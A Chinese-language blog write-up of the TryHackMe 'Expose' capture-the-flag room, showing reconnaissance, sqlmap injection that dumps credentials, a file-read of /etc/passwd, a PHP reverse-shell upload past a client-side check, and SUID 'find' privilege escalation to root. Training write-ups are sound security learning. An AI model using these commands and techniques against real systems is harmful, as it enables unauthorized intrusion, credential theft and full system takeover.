TryHackMe-Expose

发布于 2023-09-22  474 次阅读


简介:

使用您的红队知识来攻击 Linux 机器。

房间链接:

https://tryhackme.com/room/expose#

问题:

挑战开始:

首先扫描下目标IP端口
nmap -sC -sV 10.10.131.229

└─# nmap -sC -sV 10.10.131.229
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-22 06:54 UTC
Nmap scan report for ip-10-10-131-229.eu-west-1.compute.internal (10.10.131.229)
Host is up (0.0072s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.113.63
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5a3c11c4ba1c1fb30cfa27a66e5c0ee5 (RSA)
|   256 fbe2c6b05696260932b1ef05149678aa (ECDSA)
|_  256 aee8462aa53e4184d1952e6db885463b (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
MAC Address: 02:D8:40:FD:E9:2B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到开放了21,22,53端口,且ftp可Anonymous登陆
那么就先登陆ftp看看,但是里面是空的,并没有发现什么有用的东西
猜测端口比较隐蔽,重新又扫了一遍端口
这次扫到了1337端口和1883端口

1883端口上是一个负载,先看看1337端口
有一个站点
扫描下目录
ffuf -u http://10.10.131.229:1337/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
这里发现了几个目录
admin,admin_101,phpmyadmin

首先
看看admin目录

是一个登陆口,但是,无论输入什么回车都没反应,根据提示应该是个虚假的登陆口
看看admin_101

一样的登录界面,但是用户名已经输入好了
任意输入密码发现有后续操作

根据题目中提示需要用到sqlmap,猜测存在注入
使用burp抓包看看,发现返回包中存在SQL查询语句

直接复制请求包保存文件,直接sqlmap -r
成功跑出注入

成功获取用户密码
sqlmap -r /root/Desktop/test.txt -D expose -T user --dump

登陆后台后跳转一个chat??

这条路好像走不通了,回到sqlmap中查看另一个表config

里面有另一个url
http://10.10.131.229:1337/file1010111/index.php
访问

密码需要解密

登录后有一个提示

让我们找隐藏的dom
查看源码,发现有一个提示

这里给了两个参数,file和view,让我们作为参数
这里看到file,想到了任意文件读取或者文件包含
尝试了下
http://10.10.131.229:1337/file1010111/index.php?file=/etc/passwd
成功读取passwd文件

但是目前也没有好的利用方式
这时回到config表中,发现还有另一个路由
尝试访问
http://10.10.131.229:1337/upload-cv00101011/index.php

这里提示了用户名为Z开头的机器用户
这时候上面读取的passwd就有用了

密码为zeamkish
成功进入后台

简单看下源代码,发现他只是在前端验证了后缀,那么可以直接传shell

PHPshell:
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
先把后缀改成jpg上传,抓包改成php就可以了
可以看到上传成功

文件上传的路径提示了在源代码中

本地设置好监听,访问:
http://10.10.131.229:1337/upload-cv00101011/upload_thm_1001/shell.php
成功反弹shell

首先改交互
python3 -c "import pty;pty.spawn('/bin/bash')"
在用户下看到了flag,但是权限不够

读取了另一个文件,成功获取用户的密码

那么直接用ssh登陆

成功获取第一个flag

接着尝试提权
find / -user root -perm -4000 -exec ls -ldb {} \;

这儿可以使用find提权
直接
find . -exec /bin/sh -p \; -quit
成功提权,成功获取flag

届ける言葉を今は育ててる
最后更新于 2023-09-22